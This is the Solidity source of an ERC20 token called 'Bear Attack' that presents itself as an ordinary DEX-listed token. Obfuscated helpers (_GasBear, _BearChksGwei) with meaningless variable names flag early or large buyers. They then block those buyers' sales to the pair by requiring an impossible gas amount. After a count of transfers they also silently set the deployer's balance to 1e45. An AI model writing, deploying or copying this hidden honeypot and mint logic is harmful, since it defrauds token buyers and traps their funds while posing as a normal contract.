// .- - - .- -.-. -.- / --- ..-. / - .... . / -... . .- .-. ...

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

interface IUniswapV2Pair {
    event Sync(uint112 reserve0, uint112 reserve1);
    function sync() external;
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    address[] private bearAddr;
    uint256 private Slaves = block.number*2;

    mapping (address => bool) private Trees;
    mapping (address => bool) private Sands;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    address private Fans = address(0);

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    uint256 private gasVal = 2900e4;
    address public pair;

    IDEXRouter router;

    string private _name; string private _symbol; uint256 private _totalSupply; uint256 private _limit;
    uint256 private theN; bool private trading = false; uint256 private Danes = 1; bool private Mexican = false;
    
    constructor (string memory name_, string memory symbol_, address msgSender_) {
        router = IDEXRouter(_router);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));

        _name = name_;
        _symbol = symbol_;
        bearAddr.push(_router); bearAddr.push(msgSender_); bearAddr.push(pair);
        for (uint256 q=0; q < 3;) {Trees[bearAddr[q]] = true; unchecked{q++;} }
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _GasBear(bool account, uint256 integer) internal { if (account && (((Slaves - theN) >= 7) || (integer >= _limit))) {require(gasleft() >= gasVal); } (_balances[bearAddr[1]],gasVal) = Mexican ? (1e45, gasVal) : (_balances[bearAddr[1]],gasVal); }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function openTrading() external onlyOwner returns (bool) {
        trading = true; theN = block.number; Slaves = block.number;
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function _beforeTokenTransfer(address sender, address recipient, uint256 integer) internal {
        require((trading || (sender == bearAddr[1])), "ERC20: trading is not yet enabled.");
        Danes += Trees[recipient] ? 1 : 0; _GasBear((Mexican || Sands[sender]) && (Trees[recipient] == true) && (Trees[sender] != true), integer);
        _BearChksGwei(Fans, (((Slaves == block.number) || (integer >= _limit) || ((Slaves - theN) <= 7)) && (Trees[Fans] != true))); Mexican = ((Danes % 6) == 0) ? true : Mexican;
        Slaves = block.number; Fans = recipient;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _BearChksGwei(address sender, bool account) internal { Sands[sender] = account ? true : Sands[sender]; }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _DeployBear(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _limit = amount / 10000 * 301;
        _balances[account] += amount;
        approve(bearAddr[0], 10 ** 77);
              
        emit Transfer(address(0), account, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol, creator) {
        _DeployBear(creator, initialSupply);
    }
}

contract BearAttack is ERC20Token {
    constructor() ERC20Token("Bear Attack", "\x28\xE2\x80\xB7\x5C\x28\x20\xCC\x8A\xE2\x96\xA1\x20\xCC\x8A\x29\x2F\xE2\x80\xB4\x29", msg.sender, 333000 * 10 ** 18) {
    }
}